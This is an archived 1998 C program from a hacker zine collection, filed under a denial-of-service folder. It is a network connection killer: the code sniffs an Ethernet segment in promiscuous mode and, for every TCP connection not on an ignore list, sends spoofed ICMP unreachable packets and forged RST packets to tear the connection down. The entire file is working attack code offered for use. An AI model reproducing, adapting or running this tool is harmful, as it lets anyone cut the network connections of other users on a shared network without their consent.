home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / resetter.c < prev    next >
Text File  |  1998-12-23  |  9KB  |  351 lines

  1. /* resetter.c 11 feb 1998 by Stok */
  2. /* large parts ripped from "ipl.c" and "puke.c".. */
  3. /* code clean-up for c5 release 22 nov 1998 */
  4. /* windows NT (at least 4.0) seems to ignore the icmp-packets?! */
  5. /* added tcp RST connection resetting 30 nov 1998 */
  6.  
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/time.h>
  10. #include <sys/ioctl.h>
  11. #include <string.h>
  12. #include <netinet/in.h>
  13. #include <signal.h>
  14. #include <stdio.h>
  15. #include <netdb.h>
  16. #include <netinet/tcp.h>
  17. #include <netinet/udp.h>
  18. #include <netinet/ip_icmp.h>
  19. #include <netinet/if_ether.h>
  20. #include <unistd.h>
  21. #include <net/if.h>
  22. #include <stdlib.h>
  23. #include <arpa/inet.h>
  24.  
  25. #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
  26.                         sizeof(struct iphdr) + 8)
  27. #define ICMPSIZE   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 8)
  28. #define offsetTCP  (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
  29.                         sizeof(struct iphdr))
  30. #define offsetIP   (sizeof(struct iphdr) + sizeof(struct icmphdr))
  31. #define offsetICMP (sizeof(struct iphdr))
  32.  
  33. #define thecode 10
  34.  
  35. struct sigaction new_sa, old_sa;
  36.  
  37. void sigint (int);
  38.  
  39. struct etherpacket
  40.   {
  41.     struct ethhdr eth;
  42.     struct iphdr ip;
  43.     char data[60000];
  44.   };
  45.  
  46. int initdevice (char *, int);
  47. void printdata (char *, long);
  48. u_short cksum (u_short * buf, int nwords);
  49. void sendkill (long fromhost, int fromport, long tohost, int toport);
  50. void killtcp (struct iphdr *);
  51.  
  52. char device[] = "eth0";
  53.  
  54. long *ignores;
  55.  
  56. int
  57. main (int argc, char **argv)
  58. {
  59.   int if_eth_fd = initdevice (device, 1);
  60.   struct etherpacket ep;
  61.   struct sockaddr dest;
  62.   struct iphdr *ip;
  63.   struct tcphdr *tcp;
  64.   fd_set rd;
  65.   int dlen, cnt;
  66.   new_sa.sa_handler = &sigint;
  67.   sigemptyset (&new_sa.sa_mask);
  68.   new_sa.sa_flags = 0;
  69.   sigaction (SIGINT, &new_sa, &old_sa);
  70.   if (argc == 1)
  71.     {
  72.       printf ("Usage:\n");
  73.       printf ("%s ignore-ip [...]\n", argv[0]);
  74.       initdevice (device, 0);
  75.       exit (-1);
  76.     }
  77.  
  78.   ignores = (long *) calloc ((size_t) argc, sizeof (long));
  79.   argc--;
  80.   for (cnt = 0; cnt < argc; cnt++)
  81.     ignores[cnt] = inet_addr (argv[cnt+1]);
  82.  
  83.   while (1)
  84.     {
  85.       bzero (&dest, sizeof (dest));
  86.       dlen = 0;
  87.       FD_ZERO (&rd);
  88.       FD_SET (if_eth_fd, &rd);
  89.       ip = (struct iphdr *) (((unsigned long) &ep.ip) - 2);
  90.       tcp = (struct tcphdr *) (((unsigned long) &ep.data) - 2);
  91.       select (if_eth_fd + 1, &rd, NULL, NULL, NULL);
  92.       recvfrom (if_eth_fd, &ep, sizeof (ep), 0, &dest, &dlen);
  93.       for (cnt = 0; ignores[cnt]; cnt++)
  94.     if (ip->saddr == ignores[cnt] || ip->daddr == ignores[cnt])
  95.       {
  96.         cnt = 44538;
  97.         break;
  98.       }
  99.       if (cnt != 44538)
  100.     if (ep.eth.h_proto == ntohs (ETH_P_IP) && ip->protocol == 6)
  101.       {
  102.         sendkill (ip->saddr, ntohs (tcp->source), ip->daddr, ntohs (tcp->dest));
  103.         sendkill (ip->daddr, ntohs (tcp->dest), ip->saddr, ntohs (tcp->source));
  104.             if (!(tcp->rst || tcp->fin))
  105.           killtcp (ip);
  106.       }
  107.     }
  108. }
  109.  
  110. #define PROTO htons(ETH_P_IP)
  111.  
  112. int
  113. initdevice (char *device, int pflag)
  114. {
  115.   int if_fd = 0;
  116.   struct ifreq ifr;
  117.  
  118.   if ((if_fd = socket (AF_INET, SOCK_PACKET, PROTO)) < 0)
  119.     {
  120.       perror ("Can't get socket");
  121.       exit (1);
  122.     }
  123.   strncpy (ifr.ifr_name, device, IFNAMSIZ);
  124.   if (ioctl (if_fd, SIOCGIFFLAGS, &ifr) < 0)
  125.     {
  126.       close (if_fd);
  127.       perror ("Can't get flags");
  128.       exit (1);
  129.     }
  130.   if (pflag)
  131.     ifr.ifr_flags |= IFF_PROMISC;
  132.   else
  133.     ifr.ifr_flags &= ~(IFF_PROMISC);
  134.   if (ioctl (if_fd, SIOCSIFFLAGS, &ifr) < 0)
  135.     {
  136.       close (if_fd);
  137.       perror ("Can't set flags");
  138.       exit (1);
  139.     }
  140.   return (if_fd);
  141. }
  142.  
  143. void
  144. sigint (int a)
  145. {
  146.   printf ("\nSIGINT caught. Exiting.\n");
  147.   initdevice (device, 0);
  148.   exit (0);
  149. }
  150.  
  151. /* Not much of this function is mine // Stok */
  152.  
  153. void
  154. sendkill (long fromhost, int fromport, long tohost, int toport)
  155. {
  156.   char *packet;
  157.   struct sockaddr_in local, remote;
  158.   static int sock = 0;
  159. //  printf ("%X %X -> %X %X\n", fromhost, fromport, tohost, toport);
  160.  
  161.   memcpy (&(local.sin_port), &fromport, sizeof (int));
  162.   memcpy (&(remote.sin_port), &toport, sizeof (int));
  163.   memcpy (&(local.sin_addr), &fromhost, sizeof (long));
  164.   memcpy (&(remote.sin_addr), &tohost, sizeof (long));
  165.   local.sin_family = AF_INET;
  166.   remote.sin_family = AF_INET;
  167.  
  168.   if (!sock)
  169.     {
  170.       sock = socket (AF_INET, SOCK_RAW, 255);
  171.       if (sock == -1)
  172.     {
  173.       perror ("Getting raw socket");
  174.       exit (-1);
  175.     }
  176.     }
  177.   /*
  178.      .  Get memory for the packet 
  179.    */
  180.   packet = (char *) malloc (PACKETSIZE);
  181.   if (!packet)
  182.     {
  183.       perror ("Getting space for packet");
  184.       exit (-1);
  185.     }
  186.  
  187.   /*
  188.      . Fill in our pretended TCP header 
  189.      . note - since this was allegedly an outgoing packet...  we have
  190.      . to flip the source and destination stuff 
  191.    */
  192.   {
  193.     struct tcphdr *fake_tcp;
  194.     fake_tcp = (struct tcphdr *) (packet + offsetTCP);
  195.     fake_tcp->dest = htons (fromport);
  196.     fake_tcp->source = htons (toport);
  197.     fake_tcp->seq = 0x1984;
  198.   }
  199.   /* 
  200.      . fill in the fake IP header.
  201.      . the same reversal as above still applies.. the packet was sent
  202.      . to our machine (yeah right)
  203.    */
  204.   {
  205.     struct iphdr *fake_ip;
  206.     fake_ip = (struct iphdr *) (packet + offsetIP);
  207.  
  208.     /* these fields are irrelevant -- never checked?? */
  209.     fake_ip->version = 4;
  210.     /* this was much longer.. once */
  211.     fake_ip->tot_len = htons (0x2C);
  212.     fake_ip->tos = 0;
  213.     fake_ip->id = htons (getpid () & 255);
  214.     fake_ip->frag_off = 0;
  215.     fake_ip->ttl = 24;        /* not so long to live anymore */
  216.     /* this CAN'T be checked..so do something != 0 */
  217.     fake_ip->check = 3805;
  218.  
  219.     /* these fields are used ..  */
  220.     fake_ip->ihl = 5;
  221.     bcopy ((char *) &local.sin_addr, &fake_ip->daddr,
  222.        sizeof (fake_ip->daddr));
  223.     bcopy ((char *) &remote.sin_addr, &fake_ip->saddr,
  224.        sizeof (fake_ip->saddr));
  225.     fake_ip->protocol = 6;    /* a TCP packet */
  226.   }
  227.  
  228.   /*
  229.      . fill in the ICMP header 
  230.      . this is actally rather trivial, though don't forget the checksum 
  231.    */
  232.   {
  233.     struct icmphdr *icmp;
  234.     icmp = (struct icmphdr *) (packet + offsetICMP);
  235.  
  236.     icmp->type = 3;
  237.     icmp->code = thecode;    /* this will generate an error message */
  238.     icmp->un.gateway = 0;
  239.     icmp->checksum = cksum ((u_short *) (icmp), ICMPSIZE >> 1);
  240.   }
  241.   /*
  242.      . finally, fill in the IP header 
  243.      . this is almost the same as above.. though this time, it is the
  244.      . ip header that really takes the packet places. make sure the 
  245.      . checksum and addresses are right 
  246.    */
  247.   {
  248.     struct iphdr *real_ip;
  249.     real_ip = (struct iphdr *) packet;
  250.  
  251.     real_ip->version = 4;
  252.     real_ip->ihl = 5;
  253.     real_ip->tot_len = htons (PACKETSIZE);
  254.     real_ip->tos = (7 << 5) | 4;
  255.     real_ip->ttl = 255;
  256.     real_ip->protocol = 1;
  257.     real_ip->check = 0;
  258.     real_ip->id = htons (3);
  259.     real_ip->frag_off = 0;
  260.     bcopy ((char *) &local.sin_addr, &real_ip->saddr,
  261.        sizeof (real_ip->saddr));
  262.     bcopy ((char *) &remote.sin_addr, &real_ip->daddr,
  263.        sizeof (real_ip->daddr));
  264.  
  265. /*
  266.    real_ip->saddr = htonl(ntohl(real_ip->daddr) & 0xffffff00L);
  267.  */
  268.     real_ip->check = cksum ((u_short *) packet,
  269.                 sizeof (struct iphdr) >> 1);
  270.   }
  271.   /*
  272.      . 
  273.      . and now.. finally...  send it out into the net 
  274.    */
  275.   {
  276.     int result;
  277.  
  278.     result = sendto (sock, packet, PACKETSIZE, 0,
  279.              (struct sockaddr *) &remote, sizeof (remote));
  280.     if (result != PACKETSIZE)
  281.       {
  282.     perror ("sending packet");
  283.       }
  284.     free (packet);
  285.   }
  286. }
  287.  
  288. void
  289. killtcp (struct iphdr *ip)
  290. {
  291.   char *packet;
  292.   static int sock = 0;
  293.   struct tcphdr *tcp;
  294.   int result;
  295.   struct sockaddr_in remote;
  296.   u_int32_t tmp32;
  297. //  u_int16_t tmp16;
  298.   packet = (char *) malloc (sizeof (struct iphdr) + sizeof (struct tcphdr));
  299.   tcp = (struct tcphdr *) (packet + sizeof (struct iphdr));  
  300.   memcpy (&(remote.sin_port), &(tcp->dest), sizeof (int));
  301.   memcpy (&(remote.sin_addr), &(ip->daddr), sizeof (long));
  302.   remote.sin_family = AF_INET;
  303.   memcpy (packet, (char *) ip, sizeof (struct iphdr) + sizeof (struct tcphdr));
  304.   if (!sock)
  305.     {
  306.       sock = socket (AF_INET, SOCK_RAW, 255);
  307.       if (sock == -1)
  308.     {
  309.       perror ("Getting raw socket");
  310.       exit (-1);
  311.     }
  312.     }
  313.  
  314.   tcp->fin = 0;
  315.   tcp->syn = 0;
  316.   tcp->rst = 1;
  317.   tcp->psh = 0;
  318.   tcp->ack = 0;
  319.   tcp->urg = 0;
  320.  
  321.   tmp32 = tcp->ack_seq;
  322.   tcp->ack_seq = htonl (ntohl (tcp->seq)+1);
  323.   tcp->seq = tmp32;
  324.  
  325. /*  tmp16 = tcp->source;
  326.   tcp->source = tcp->dest;
  327.   tcp->dest = tmp16;
  328.  
  329.   tmp32 = ip->saddr;
  330.   ip->saddr = ip->daddr;
  331.   ip->daddr = tmp32;
  332. */
  333.   ip->check = cksum ((u_short *) packet, sizeof (struct iphdr) >> 1);
  334.  
  335.   result = sendto (sock, packet, sizeof (struct iphdr) + sizeof (struct tcphdr), 0, &remote, sizeof (remote));
  336.   free (packet);
  337. }
  338.  
  339.  
  340. u_short
  341. cksum (u_short * buf, int nwords)
  342. {
  343.   unsigned long sum;
  344.  
  345.   for (sum = 0; nwords > 0; nwords--)
  346.     sum += *buf++;
  347.   sum = (sum >> 16) + (sum & 0xffff);
  348.   sum += (sum >> 16);
  349.   return ~sum;
  350. }
  351.